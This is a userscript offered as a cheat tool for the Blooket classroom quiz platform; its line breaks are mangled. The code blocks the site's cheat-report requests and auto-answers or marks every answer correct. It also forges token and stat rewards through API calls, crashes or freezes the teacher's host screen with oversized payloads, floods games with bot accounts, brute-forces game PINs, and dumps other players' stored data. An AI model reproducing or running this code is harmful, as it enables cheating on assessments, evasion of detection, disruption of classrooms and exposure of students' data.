2 // @name Blooket Cheats Plus
3 // @namespace https://github.com/DannyDan0167/Blooket-Cheats
5 // @description Blooket Cheats Plus
6 // @updateURL https://raw.githubusercontent.com/DannyDan0167/Blooket-Cheats-Plus/main/Update/mobileGUI.meta.js
7 // @downloadURL https://raw.githubusercontent.com/DannyDan0167/Blooket-Cheats-Plus/main/MobileGUI/mobileGui.user.js
8 // @author DannyDan0167
9 // @match https://dashboard.blooket.com/*
10 // @match https://play.blooket.com/*
11 // @match https://towerdefense2.blooket.com/*
12 // @match https://monsterbrawl.blooket.com/*
13 // @match https://towerdefense.blooket.com/*
14 // @match https://cafe.blooket.com/*
15 // @match https://factory.blooket.com/*
16 // @match https://crazykingdom.blooket.com/*
17 // @match https://towerofdoom.blooket.com/*
18 // @match https://goldquest.blooket.com/*
19 // @match https://cryptohack.blooket.com/*
20 // @match https://fishingfrenzy.blooket.com/*
21 // @match https://deceptivedinos.blooket.com/*
22 // @match https://battleroyale.blooket.com/*
23 // @match https://racing.blooket.com/*
24 // @match https://blookrush.blooket.com/*
25 // @match https://classic.blooket.com/*
26 // @match https://pirate.blooket.com/*
27 // @icon https://i.ibb.co/sWqBm0K/1024.png
29 // @require https://unpkg.com/idb-keyval@6.0.3/dist/umd.js
33 if (String(window
.fetch
.call
).includes("native")) {
34 var e
= window
.fetch
.call
;
35 window
.fetch
.call = function() {
36 if (!arguments
[1].includes("s.blooket.com/rc")) return e
.apply(this, arguments
);
37 console
.log("You tried to get caught cheating!")
39 } else console
.log("already run");
40 if (console
.log("%c Blooket Cheats Plus %c\n By DannyDan0167 on GitHub", "color: #0bc2cf; font-size: 3rem", "color: #8000ff; font-size: 1rem"), console
.log("%c Mobilegui.js", "color: #0bc2cf; font-size: 1rem"), console
.log("%c Star the github repo!%c https://github.com/DannyDan0167/Blooket-Cheats-Plus", "color: #ffd000; font-size: 1rem", ""), document
.querySelector("script[src*='bfs/index.js']") && !window
.clearId
) {
41 for (var t
= document
.createElement("iframe"), o
= (document
.body
.appendChild(t
), window
.clearId
= window
.setInterval(() => {}, 0)); o
--;) t
.contentWindow
.clearInterval
.call(window
, o
);
44 var t
, o
= document
.createElement("iframe"),
45 o
= (document
.body
.append(o
), window
.alert
= o
.contentWindow
.alert
.bind(window
), window
.prompt
= o
.contentWindow
.prompt
.bind(window
), window
.confirm
= o
.contentWindow
.confirm
.bind(window
), o
.remove(), (e
, t
= {}) => Object
.entries(t
).forEach(([t
, o
]) => e
.style
[t
] = o
));
46 (t
= document
.createElement("style")).innerHTML
= "details > summary { cursor: pointer; transition: 0.15s; list-style: none; } details > summary:hover { color: hsl(0, 0%, 50%) } details > summary::-webkit-details-marker { display: none; } details summary ~ * { animation: sweep .5s ease-in-out; } @keyframes sweep { 0% {opacity: 0; transform: translateY(-10px)} 100% {opacity: 1; transform: translateY(0)} } .cheat { border: none; background: hsl(0, 0%, 20%); padding: 5px; margin: 3px; width: 60%; color: hsl(0, 0%, 100%); transition: 0.2s; border-radius: 5px; cursor: pointer; } .cheat:hover { background: hsl(0, 0%, 30%); }";
47 let a
= document
.createElement("div");
48 [...document
.querySelectorAll("#JODMOBILE")].forEach(e
=> e
.remove()), a
.id
= "JODMOBILE", a
.appendChild(t
), o(a
, {
50 background
: "hsl(0, 0%, 10%)",
51 backgroundImage
: "linear-gradient(rgba(0, 0, 0, 0.95), rgba(0, 0, 0, 0.95)), url(https://ac.blooket.com/dashboard/65a43218fd1cabe52bdf1cda34613e9e.png)",
63 t
= (a
.onpointerdown
= (e
= window
.event
) => {
64 e
.preventDefault(), i
= e
.clientX
, s
= e
.clientY
, document
.onpointerup
= () => {
65 document
.onpointerup
= null, document
.onpointermove
= null
66 }, document
.onpointermove
= e
=> {
67 (e
= e
|| window
.event
).preventDefault(), r
= i
- e
.clientX
, n
= s
- e
.clientY
, i
= e
.clientX
, s
= e
.clientY
, a
.style
.top
= a
.offsetTop
- n
+ "px", a
.style
.left
= a
.offsetLeft
- r
+ "px"
69 }, document
.createElement("div")),
70 l
= (a
.appendChild(t
), o(t
, {
76 }), t
.innerHTML
= 'Blooket Cheats Plus <span style="font-size: 0.75rem">v15.30.00</span>', document
.createElement("button")),
77 l
= (t
.appendChild(l
), o(l
, {
92 }), l
.innerText
= "X", l
.onclick
= () => {
93 $(), a
.remove(), removeEventListener("keypress", f
)
94 }, document
.createElement("button"));
95 t
.appendChild(l
), o(l
, {
96 background
: "#444444",
101 position
: "absolute",
105 borderRadius
: "10px",
106 fontFamily
: "Nunito",
107 fontWeight
: "bolder",
110 }), l
.innerText
= "-", l
.onclick
= () => c
.hidden
= !c
.hidden
;
111 let c
= document
.createElement("div"),
112 d
= (t
= document
.createElement("div"), c
.appendChild(t
), a
.appendChild(c
), t
.innerHTML
= `<span id="curPageEl">${_(!0)?"Current gamemode: "+_(!0):"No game detected"}</span><br><span>(Press E to hide)</span><br>`, t
.style
.display
= "block", t
.style
.margin
= "10px", document
.body
.append(a
), o
= document
.createElement("div"), c
.appendChild(o
), o
.style
.fontSize
= "0.9rem", o
.style
.paddingBottom
= "5px", {
114 name
: "Auto Answer (Toggle)",
115 description
: "Toggles auto answer on",
117 enabled
: (o
.innerHTML
= '<span><a target="blank" href="https://discord.gg/8A6J234n7v">Discord</a><br/><a target="blank" href="https://github.com/DannyDan0167/Blooket-Cheats-Plus/">GitHub - DannyDan0167</a></span>', !1),
120 this.enabled
? (this.enabled
= !1, clearInterval(this.data
), this.data
= null) : (this.enabled
= !0, this.data
= setInterval(() => {
132 } = Object
.values(document
.querySelector("body div[id] > div > div"))[1].children
[0]._owner
.stateNode
;
134 "typing" != e
.qType
? ("feedback" === t
|| o
? document
.querySelector('[class*="feedback"]')?.firstChild
: [...document
.querySelectorAll('[class*="answerContainer"]')][(e
|| a
).answers
.map((t
, o
) => (e
|| a
).correctAnswers
.includes(t
) ? o
: null).filter(e
=> null != e
)[0]])?.click
?.() : Object
.values(document
.querySelector("[class*='typingAnswerWrapper']"))[1].children
._owner
.stateNode
.sendAnswer(e
.answers
[0])
139 name
: "Highlight Answers (Toggle)",
140 description
: "Toggles highlight answers on",
145 this.enabled
? (this.enabled
= !1, clearInterval(this.data
), this.data
= null) : (this.enabled
= !0, this.data
= setInterval(() => {
151 } = Object
.values(function e(t
= document
.querySelector("body>div")) {
152 return Object
.values(t
)[1]?.children
?.[0]?._owner
.stateNode
? t
: e(t
.querySelector(":scope>div"))
153 }())[1].children
[0]._owner
;
154 [...document
.querySelectorAll('[class*="answerContainer"]')].forEach((o
, a
) => {
155 (e
.question
|| t
.client
.question
).correctAnswers
.includes((e
.question
|| t
.client
.question
).answers
[a
]) ? o
.style
.backgroundColor
= "rgb(0, 207, 119)" : o
.style
.backgroundColor
= "rgb(189, 15, 38)"
160 name
: "Subtle Highlight Answers (Toggle)",
161 description
: "Toggles subtle highlight answers on",
166 this.enabled
? (this.enabled
= !1, clearInterval(this.data
), this.data
= null) : (this.enabled
= !0, this.data
= setInterval(() => {
172 } = Object
.values(function e(t
= document
.querySelector("body>div")) {
173 return Object
.values(t
)[1]?.children
?.[0]?._owner
.stateNode
? t
: e(t
.querySelector(":scope>div"))
174 }())[1].children
[0]._owner
;
175 [...document
.querySelectorAll('[class*="answerContainer"]')].forEach((o
, a
) => {
176 (e
.question
|| t
.client
.question
).correctAnswers
.includes((e
.question
|| t
.client
.question
).answers
[a
]) && (o
.style
.boxShadow
= "unset")
181 name
: "Freeze Leaderboard",
182 description
: "Freezes the leaderboard on the host's screen",
187 if (this.enabled
) this.enabled
= !1, clearInterval(this.data
), this.data
= null;
191 var e
= Object
.values(function e(t
= document
.querySelector("#app")) {
192 return Object
.values(t
)[1]?.children
?.[0]?._owner
.stateNode
? t
: e(t
.querySelector(":scope>div"))
193 }())[1].children
[0]._owner
.stateNode
;
194 e
.props
.liveGameController
.setVal({
195 path
: `c/${e.props.client.name}/tat/Freeze`,
199 this.data
= setInterval(e
, 50)
203 name
: "Percent Auto Answer",
204 description
: "Answers questions correctly or incorrectly depending on the goal grade given (Disable and re-enable to update goal)",
209 if (this.enabled
) this.enabled
= !1, clearInterval(this.data
), this.data
= null;
212 let e
= parseFloat(prompt("What grade do you want to get from this set? (0-100)"));
214 "number" != typeof e
|| isNaN(e
);) e
= parseFloat(prompt("What grade do you want to get from this set? (0-100)\nInvalid Number"));
217 } = Object
.values(function e(t
= document
.querySelector("body>div")) {
218 return Object
.values(t
)[1]?.children
?.[0]?._owner
.stateNode
? t
: e(t
.querySelector(":scope>div"))
219 }())[1].children
[0]._owner
;
220 this.data
= setInterval(e
=> {
222 let o
= t
.state
.question
|| t
.props
.client
.question
;
223 if ("feedback" == t
.state
.stage
|| t
.state
.feedback
) return document
.querySelector('[class*="feedback"], [id*="feedback"]')?.firstChild
?.click
?.();
224 if (document
.querySelector("[class*='answerContainer']") || document
.querySelector("[class*='typingAnswerWrapper']")) {
227 for (let n
in t
.corrects
) a
+= t
.corrects
[n
];
228 for (let i
in t
.incorrects
) r
+= t
.incorrects
[i
];
230 let s
= 0 == r
|| Math
.abs(a
/ (r
+ 1) - e
) >= Math
.abs((a
+ 1) / (r
+ 1) - e
);
231 if ("typing" != t
.state
.question
.qType
) {
232 let l
= document
.querySelectorAll("[class*='answerContainer']");
233 for (let c
= 0; c
< l
.length
; c
++) {
234 let d
= o
.correctAnswers
.includes(o
.answers
[c
]);
235 if (s
&& d
|| !s
&& !d
) return l
[c
]?.click
?.()
238 } else Object
.values(document
.querySelector("[class*='typingAnswerWrapper']"))[1].children
._owner
.stateNode
.sendAnswer(s
? o
.answers
[0] : Math
.random().toString(36).substring(2))
241 }, 100, (e
?? 100) / 100)
246 description
: "Click the correct answer for you",
259 } = Object
.values(document
.querySelector("body div[id] > div > div"))[1].children
[0]._owner
.stateNode
;
261 "typing" != e
.qType
? ("feedback" === t
|| o
? document
.querySelector('[class*="feedback"]')?.firstChild
: [...document
.querySelectorAll('[class*="answerContainer"]')][(e
|| a
).answers
.map((t
, o
) => (e
|| a
).correctAnswers
.includes(t
) ? o
: null).filter(e
=> null != e
)[0]])?.click
?.() : Object
.values(document
.querySelector("[class*='typingAnswerWrapper']"))[1].children
._owner
.stateNode
.sendAnswer(e
.answers
[0])
265 name
: "Highlight Answers",
266 description
: "Colors answers to be red or green highlighting the correct ones",
273 } = Object
.values(function e(t
= document
.querySelector("body>div")) {
274 return Object
.values(t
)[1]?.children
?.[0]?._owner
.stateNode
? t
: e(t
.querySelector(":scope>div"))
275 }())[1].children
[0]._owner
;
276 [...document
.querySelectorAll('[class*="answerContainer"]')].forEach((o
, a
) => {
277 (e
.question
|| t
.client
.question
).correctAnswers
.includes((e
.question
|| t
.client
.question
).answers
[a
]) ? o
.style
.backgroundColor
= "rgb(0, 207, 119)" : o
.style
.backgroundColor
= "rgb(189, 15, 38)"
281 name
: "Subtle Highlight Answers",
282 description
: "Removes the shadow from correct answers",
289 } = Object
.values(function e(t
= document
.querySelector("body>div")) {
290 return Object
.values(t
)[1]?.children
?.[0]?._owner
.stateNode
? t
: e(t
.querySelector(":scope>div"))
291 }())[1].children
[0]._owner
;
292 [...document
.querySelectorAll('[class*="answerContainer"]')].forEach((o
, a
) => {
293 (e
.question
|| t
.client
.question
).correctAnswers
.includes((e
.question
|| t
.client
.question
).answers
[a
]) && (o
.style
.boxShadow
= "unset")
297 name
: "Spam Buy Blooks",
298 description
: "Opens a box an amount of times",
299 run
: async
function() {
300 let e
= document
.createElement("iframe");
301 document
.body
.append(e
), window
.alert
= e
.contentWindow
.alert
.bind(window
), window
.prompt
= e
.contentWindow
.prompt
.bind(window
), window
.confirm
= e
.contentWindow
.confirm
.bind(window
), e
.remove();
304 } = Object
.values(function e(t
= document
.querySelector("body>div")) {
305 return Object
.values(t
)[1]?.children
?.[0]?._owner
.stateNode
? t
: e(t
.querySelector(":scope>div"))
306 }())[1].children
[0]._owner
, o
= Array
.from(document
.querySelectorAll("[class*='packsWrapper'] > div")).reduce((e
, t
) => (t
.querySelector("[class*='blookContainer'] > img") || (e
[t
.querySelector("[class*='packImgContainer'] > img").alt
] = parseInt(t
.querySelector("[class*='packBottom']").textContent
)), e
), {}), a
= prompt('Which box do you want to open? (ex: "Ice Monster")').split(" ").map(e
=> e
.charAt(0).toUpperCase() + e
.slice(1).toLowerCase()).join(" "), r
= o
[a
];
307 if (!r
) return alert("I couldn't find that box!");
308 let n
= Math
.min(Math
.floor(t
.state
.tokens
/ r
), parseInt(`0${prompt("How many boxes do you want to open?")}`));
309 if (0 == n
) return alert("You do not have enough tokens!");
310 let i
= confirm("Would you like to show blooks as unlocking?"),
313 for (let c
= 0; c
< n
; c
++) {
314 await t
.buyPack(!0, a
), s
[t
.state
.unlockedBlook
] ||= 0, s
[t
.state
.unlockedBlook
]++;
316 l
+= Date
.now() - d
, t
.setState({
322 }), clearTimeout(t
.canOpenTimeout
)
324 await
new Promise(e
=> setTimeout(e
)), alert(`(${Date.now()-l}ms) Results: ${Object.entries(s).map(([e,t])=>` ${e} ${t}`).join(` `)}`)
327 name: "Remove Name Limit",
328 description: "Sets the name limit to 120, which is the actual max name length limit",
330 var e = document.createElement("iframe");
331 document.body.append(e), window.alert = e.contentWindow.alert.bind(window), e.remove(), document.querySelector('input[class*="nameInput"]').maxLength = 120, alert("Removed name length limit")
334 name: "Remove Random Name",
335 description: "Allows you to put a custom name",
337 Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.setState({
342 }), document.querySelector('[class*="nameInput"]')?.focus?.()
345 name: "Sell Duplicate Blooks",
346 description: "Sell all duplicate blooks leaving you with 1 each",
347 run: async function() {
348 let e = document.createElement("iframe");
349 if (document.body.append(e), window.alert = e.contentWindow.alert.bind(window), window.confirm = e.contentWindow.confirm.bind(window), e.remove(), /dashboard.*\/blooks/.test(window.location.href)) {
350 if (confirm("Are you sure you want to sell your dupes? (Legendaries and rarer will not be sold)")) {
353 } = Object.values(function e(t = document.querySelector("body>div")) {
354 return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"))
355 }())[1].children[0]._owner, o = Date.now(), a = "";
356 for (let r in t.state.blookData)
357 if (t.state.blookData[r] > 1) {
360 numToSell: t.state.blookData[r] - 1
361 }), ["Legendary", "Chroma", "Mystical"].includes(document.querySelector("[class*='highlightedRarity']").innerText.trim())) continue;
362 a += ` ${r} ${t.state.blookData[r]-1}
`, await t.sellBlook({
365 } alert(`(${Date.now()-o}ms
) Results
: ${a.trim()}
`)
367 } else alert("This can only be ran in the Blooks page.")
370 name: "Remove all Taken Blooks",
371 description: "Removes all taken blooks, allowing you to use any taken blook. Only works in lobby.",
373 const stateNode = Object.values(document.querySelector("#app>div>div"))[1].children[0]._owner.stateNode;
379 stateNode.setState = function(a, b) {
380 if (a?.takenBlooks) {
383 stateNode.updater.enqueueSetState(stateNode, a, b, "setState");
387 name: "Simulate Unlock",
388 description: "Simulates unlocking a certain blook",
390 var unlockedBlook = window.prompt("Enter the blook (Case Sensitive):");
392 const stateNode = Object.values(document.querySelector("#app>div>div"))[1].children[0]._owner.stateNode;
400 setTimeout(() => stateNode.setState({
406 description: "Freezes the host's screen",
408 const encodedChars = [
409 '\\u2f9f', '\\u4fff', '\\u4f52', '\\u0E47', '\\u0E47', '\\u0E47', '\\u0E47', '\\u0E47', '\\u0E47', '\\u0E47', '\\u4FF1', '\\u4FF2'
412 const chars = encodedChars.map(char => eval(`"${char}"`));
414 function makeLongText() {
415 return new Array(3e+6).fill().map(e => chars[Math.floor(Math.random() * chars.length)]).join("");
420 } = Object.values(function e(t = document.querySelector("body>div")) {
421 return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"));
422 }())[1].children[0]._owner.stateNode;
424 let repeatedText = makeLongText();
425 t.client.blook = repeatedText;
426 t.liveGameController.setVal({
427 path: `c
/${t.client.name}/b
`,
433 description: "Opens Blooket Bot",
435 function getGameCode() {
436 const appDiv = document.querySelector('#app>div>div');
438 const reactComponent = Object.values(appDiv)[1]?.children[0]?._owner;
439 return reactComponent?.stateNode?.props?.client?.hostId || null;
444 const gameCode = getGameCode();
445 const url = gameCode ? "https://blooketbot.glitch.me/?code=" + gameCode : "https://blooketbot.glitch.me/";
446 window.open(url, "_blank", "width=500,height=500,resizable=yes,scrollbars=yes,status=yes");
450 description: "Chat with other people and execute commands",
459 return Object.values(document.querySelector("#app>div>div"))[1].children[0]._owner
463 document.addEventListener("keydown", function(e) {
464 "`" === e.key && (a = !a, o.style.display = a ? "none
" : "block
")
466 let o = document.createElement("div
");
467 o.className = "chat
-box
", document.body.appendChild(o);
468 let r = document.createElement("div
");
469 r.className = "chat
-header
", r.textContent = "Chat
", o.appendChild(r);
470 let i = document.createElement("div
");
471 i.className = "chat
-body
", o.appendChild(i);
472 let n = document.createElement("input
");
475 let t = document.createElement("div
");
476 t.textContent = e, i.appendChild(t)
478 n.type = "text
", n.className = "chat
-input
", n.placeholder = "Type a message
...", o.appendChild(n), o.style.position = "fixed
", o.style.bottom = "20px
", o.style.right = "20px
", o.style.width = "300px
", o.style.backgroundColor = "#fff
", o.style.border = "1px solid
#ccc
", o.style.boxShadow = "0px
0px
10px
rgba(0, 0, 0, 0.2)", r.addEventListener("click
", () => {
479 i.classList.toggle("open
")
480 }), n.addEventListener("keydown
", function(a) {
481 13 === a.keyCode && (function a(o) {
482 var r, n, l, c, d, p, u, h = function e(t) {
483 if ("/" !== t.charAt(0)) return !1;
484 var a = t.split(" "),
485 o = a[0].replace("/", "");
486 return a.splice(0, 1), {
491 if (h) switch (h.cmd) {
493 r = h.args.join(" "), (n = webpackJsonp.push([
502 ]).webpack("MDrD
").a)[r = Object.keys(n).find(e => r.toLocaleLowerCase() === e.toLocaleLowerCase())] ? (s("Setting blook to
" + r + "!"), e().stateNode.props.liveGameController.setVal({
503 id: e().stateNode.props.client.hostId,
504 path: "c
/" + e().stateNode.props.client.name,
508 }), e().stateNode.props.client.blook = r) : s("No blook
with that name was found
!");
514 Object.keys(e().stateNode.state).map(t => {
515 var a = e().stateNode.state[t];
516 if (null == a) return "N
/A
";
517 Array.from(a) && "object
" == typeof a && (a = "[Array
]"), s(t + ":" + a)
521 e().stateNode.props.liveGameController.getDatabaseVal("c
").then(e => {
522 s("Current
Players(" + Object.keys(e).length + "): " + Object.keys(e).join(","))
526 window.logsv = !window.logsv, s("SetVal log
set to
" + (window.logsv ? "Enabled
" : "Disabled
"));
529 l = h.args, e().stateNode.props.liveGameController.setVal({
530 path: "c
/" + e().stateNode.props.client.name + "/" + l[0],
531 val: l.slice(1, l.length).join(" ")
535 c = h.args, d = {}, c.forEach(e => {
536 var t = e.split(":");
537 Number.isNaN(parseInt(t[1])) || parseInt(t[1]).toString() !== t[1] || (t[1] = parseInt(t[1])), d[t[0]] = t[1]
538 }), e().stateNode.setState(d), s("Set Successful
!");
541 s("Advanced Commands
: setval(sets val logged by tlog ex
/setval b Chicken), tlog(toggles setval log), dumpstate(dumps react state),setstate(sets react state /setstate crypto
:5 crypto2
:5 etc
)");
544 s("Available Commands
: help(gives help
),ahelp(advanced commands help
), cb(changes blook
/cb cow), list(lists players connected), dump(dumps all available info about a player, passwords, etc(/dump player
)), clear(clears chat
), code(gives game code
), unlock(unlocks blook on lobby screen
)");
548 e().stateNode.props.liveGameController.getDatabaseVal("c
/" + a).then(e => {
549 null != e ? s("Dump
: " + JSON.stringify(e)) : s("Player not found
!")
554 p = h.args.join(" "), (u = webpackJsonp.push([
563 ]).webpack("MDrD
").a)[p = Object.keys(u).find(e => p.toLocaleLowerCase() === e.toLocaleLowerCase())] ? (e().stateNode.state.unlocks.push(p), e().stateNode.forceUpdate()) : s("No blook
with that name was found
!");
566 s("Game Code
: " + e().stateNode.props.client.hostId);
569 s("Unrecognized chat command
!")
570 } else e().stateNode.props.liveGameController.setVal({
571 id: e().stateNode.props.client.hostId,
572 path: "c
/" + e().stateNode.props.client.name + "/msg",
578 }(a.srcElement.value), a.srcElement.value = "")
580 var l = e().stateNode.props.liveGameController._liveApp.database()._delegate._repoInternal.server_.onDataUpdate_;
583 window.logsv && s("Path
: " + e.path.split("/").splice(2, 2).join("/") + " Val
: " + ("object
" == typeof e.val ? JSON.stringify(e.val) : e.val))
585 e().stateNode.props.liveGameController._liveApp.database()._delegate._repoInternal.server_.onDataUpdate_ = function(e, t, a, o) {
587 console.log(e, t, a, o), r = e, null != (i = t) && r.includes("/msg") && i?.msg && (console.log(i.msg), s(r.split("/")[2] + ": " + i.msg)), l(e, t, a, o)
588 }, window.logsv = !1;
589 var d = e().stateNode.props.liveGameController.setVal;
590 e().stateNode.props.liveGameController.setVal = function() {
591 c.apply(this, arguments), d.apply(this, arguments)
592 }, e().stateNode.props.liveGameController._liveApp.database().ref(`${e().stateNode.props.liveGameController._liveGameCode}`).on("value
", e => {}), s("Lobbychat successfully loaded
!"), o.style.wordWrap = "break-word
"
596 description: "Brute forces combinations
for existing pins
",
600 o = document.querySelector("div
[class*='titleText']");
603 return Object.values(function e(t = document.querySelector("body
>div
")) {
604 return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope
>div
"))
605 }())[1].children[0]._owner.stateNode
607 let n = Math.floor(9e6 * Math.random()) + 1e6;
608 fetch(`https://fb.blooket.com/c/firebase/id?id=${n}`, {
610 credentials: "include
"
611 }).then(e => e.json()).then(i => {
612 !0 === i.success ? (console.log("Game found
:", n), o.innerHTML = "Game Found
!", a().setState({
616 })) : (console.log("No game found
for:", n), a().setState({
620 }), e++, o.innerHTML = "Guesses
: " + e, ++t > 15 ? (setTimeout(r, 1e3), t = 0) : r())
628 description: "Crashes the host
's game",
630 var e = Object.values(function e(t = document.querySelector("#app")) {
631 return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"))
632 }())[1].children[0]._owner.stateNode;
633 e.props.liveGameController.setVal({
634 path: `c/${e.props.client.name}/b/toString`,
639 name: "Every Answer Correct",
640 description: "Sets every answer to be correct",
644 } = Object.values(function e(t = document.querySelector("body>div")) {
645 return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"))
646 }())[1].children[0]._owner;
647 e.freeQuestions = e.freeQuestions?.map?.(e => ({
649 correctAnswers: e.answers
650 })), e.questions = e.questions?.map?.(e => ({
652 correctAnswers: e.answers
653 })), e.props.client.questions = e.props.client.questions.map(e => ({
655 correctAnswers: e.answers
660 description: "Floods a game with a number of fake accounts",
661 run: async function() {
662 let e = document.createElement("iframe");
665 return Object.values(document.querySelector("#app>div>div"))[1].children[0]._owner.stateNode
667 document.body.append(e), window.prompt = e.contentWindow.prompt.bind(window), e.remove();
671 a = t().props.liveGameController._liveApp.firebase;
672 async function r(e, t) {
673 let o = await fetch("https://fb.blooket.com/c/firebase/join", {
674 body: JSON.stringify({
678 credentials: "include",
680 }).then(e => e.json());
682 let r = a.initializeApp({
683 apiKey: "AIzaSyCA-cTOnX19f6LFnDVVsHXya3k6ByP_MnU",
684 authDomain: "blooket-2020.firebaseapp.com",
685 projectId: "blooket-2020",
686 storageBucket: "blooket-2020.appspot.com",
687 messagingSenderId: "741533559105",
688 appId: "1:741533559105:web:b8cbb10e6123f2913519c0",
689 measurementId: "G-S3H5NGN10Z",
690 databaseURL: o.fbShardURL
692 await r.auth().signInWithCustomToken(o.fbToken);
693 let n = r.database();
694 await n.ref(`${e}/c/${t}`).set({
695 b: "Rainbow Astronaut",
697 }), console.log("Bot joined!")
698 } else alert("Connect error: " + o.msg)
701 if (!t().props.liveGameController._liveApp) {
702 alert("You must be in a game for the flooder to work!");
705 var e, a = t().props.liveGameController._liveGameCode,
706 n = parseInt(prompt("Enter number of bots to flood with:"));
708 alert("You must use a valid number!");
711 if (!o.randomNames) var s = prompt("Enter name of bots:");
712 for (var l = 0; l < n; l++) await r(a, e = o.randomNames ? i(15) : s + Math.floor(4e3 * Math.random()))
716 for (var t = "", o = 0; o < e; o++) t += String.fromCharCode(65 + Math.floor(25 * Math.random()));
722 name: "Change Blook Ingame",
723 description: "Changes your blook",
725 let i = document.createElement('iframe
');
726 document.body.append(i);
727 window.prompt = i.contentWindow.prompt.bind(window);
731 } = Object.values((function react(r = document.querySelector("body>div")) {
732 return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div"))
733 })())[1].children[0]._owner.stateNode;
734 props.client.blook = prompt("Blook Name: (Case Sensitive)");;
735 props.liveGameController.setVal({
736 path: `c/${props.client.name}/b`,
737 val: props.client.blook
741 name: "Change Name Ingame",
742 description: "Changes your name ingame",
744 var newname = window.prompt("Enter the new name:");
747 const reactHandler = () => Object.values(document.querySelector("#app>div>div"))[1].children[0]._owner.stateNode;
748 let i = document.createElement('iframe
');
749 document.body.append(i);
750 let alert = i.contentWindow.alert.bind(window);
753 async function genToken(name) {
754 const res = await fetch("https://fb.blooket.com/c/firebase/join", {
755 body: JSON.stringify({
756 id: reactHandler().props.client.hostId,
760 "Content-Type": "application/json"
763 credentials: "include"
764 }).then(e => e.json());
766 alert("Error: " + res.msg);
772 const oldname = reactHandler().props.client.name;
773 reactHandler().props.client.name = newname;
774 const olddata = await reactHandler().props.liveGameController.getDatabaseVal(`c/${oldname}`);
775 await reactHandler().props.liveGameController.removeVal(`c/${oldname}`);
776 const token = await genToken(newname);
780 await reactHandler().props.liveGameController._liveApp.auth().signInWithCustomToken(token);
781 reactHandler().props.liveGameController._liveApp.auth().onAuthStateChanged(e => {
782 if (e.uid.split(":")[1] === newname) {
783 reactHandler().props.liveGameController.setVal({
784 path: `c/${newname}`,
789 reactHandler().setState({});
793 name: "Set Blook Ad Text",
794 description: "Sets a load of text as your blook and floods the teacher's screen
in the lobby
",
796 var text = window.prompt("Enter the text
:");
798 let t = Object.values(function e(t = document.querySelector("body
>div
")) {
799 return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope
>div
"));
800 }())[1].children[0]._owner.stateNode;
802 if (!String.prototype.inc) {
803 String.prototype.inc = String.prototype.includes;
806 String.prototype.includes = function(a) {
807 if (a == "#" && this.length > 30) {
810 return String.prototype.inc.apply(this, arguments);
813 let repeatedText = Array(500).fill(text).join(' ');
815 if (!t.state.unlocks) {
816 t.client.blook = repeatedText;
819 t.props.liveGameController.setVal({
820 path: `c/${t.props.client.name}/b`,
825 name: "Set Blook Ad Text Ingame
",
826 description: "Sets a load
of text as your blook
",
828 var text = window.prompt("Enter the text
:");
832 } = Object.values(function e(t = document.querySelector("body
>div
")) {
833 return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope
>div
"));
834 }())[1].children[0]._owner.stateNode;
836 let repeatedText = Array(500).fill(text).join(' ');
837 t.client.blook = repeatedText;
838 t.liveGameController.setVal({
839 path: `c/${t.client.name}/b`,
845 name: "Get Daily Rewards
",
846 description: "Gets max daily tokens and xp
",
847 run: async function() {
848 let e = document.createElement("iframe
");
849 if (document.body.append(e), window.alert = e.contentWindow.alert.bind(window), e.remove(), location.href.includes("play
.blooket
.com
")) {
852 } = await fetch("https
://play.blooket.com/api/playersessions/solo", {
853 body
: JSON
.stringify({
855 questionSetId
: ["60101da869e8c70013913b59", "625db660c6842334835cb4c6", "60268f8861bd520016eae038", "611e6c804abdf900668699e3", "60ba5ff6077eb600221b7145", "642467af9b704783215c1f1b", "605bd360e35779001bf57c5e", "6234cc7add097ff1c9cff3bd", "600b1491d42a140004d5215a", "5db75fa3f1fa190017b61c0c", "5fac96fe2ca0da00042b018f", "600b14d8d42a140004d52165", "5f88953cdb209e00046522c7", "600b153ad42a140004d52172", "5fe260e72a505b00040e2a11", "5fe3d085a529560004cd3076", "5f5fc017aee59500041a1456", "608b0a5863c4f2001eed43f4", "5fad491512c8620004918ace", "5fc91a9b4ea2e200046bd49a", "5c5d06a7deebc70017245da7", "5ff767051b68750004a6fd21", "5fdcacc85d465a0004b021b9", "5fb7eea20bd44300045ba495"][Math
.floor(24 * Math
.random())]
857 credentials
: "include",
859 }).then(e
=> e
.json());
860 await
fetch("https://play.blooket.com/api/playersessions/landings", {
861 body
: JSON
.stringify({
864 credentials
: "include",
866 }), await
fetch("https://play.blooket.com/api/playersessions/questions?t=" + t
, {
867 credentials
: "include"
874 } = Object
.values(function e(t
= document
.querySelector("body>div")) {
875 return Object
.values(t
)[1]?.children
?.[0]?._owner
.stateNode
? t
: e(t
.querySelector(":scope>div"))
876 }())[1].children
[0]._owner
.stateNode
.props
.user
.data
;
877 await
fetch("https://play.blooket.com/api/users/factorystats", {
878 body
: JSON
.stringify({
882 cash
: Math
.floor(9e7
* Math
.random()) + 1e7
,
883 correctAnswers
: Math
.floor(500 * Math
.random()) + 500,
884 upgrades
: Math
.floor(300 * Math
.random()) + 300,
890 credentials
: "include",
892 }), fetch("https://play.blooket.com/api/users/add-rewards", {
893 body
: JSON
.stringify({
899 credentials
: "include",
901 }).then(e
=> e
.json()).then(({
903 }) => alert(`Added max tokens and xp, and got ${e} daily wheel tokens!`)).catch(() => alert("There was an error when adding rewards."))
904 } else alert("This cheat only works on play.blooket.com, opening a new tab."), window
.open("https://play.blooket.com/")
907 name
: "Use any Blook",
908 description
: "Allows you to play as any blook.",
911 const stateNode
= Object
.values(document
.querySelector('#app>div>div'))[1].children
[0]._owner
.stateNode
;
912 let i
= document
.createElement('iframe');
913 document
.body
.append(i
);
914 const alert
= i
.contentWindow
.alert
.bind(window
);
916 if (!(stateNode
.state
.unlocks
|| stateNode
.state
.blookData
)) {
917 alert("This must be run on the lobby or dashboard!");
920 if (stateNode
.state
.blookData
) {
921 let oe
= Object
.entries
;
922 Object
.entries = function(a
) {
927 return oe
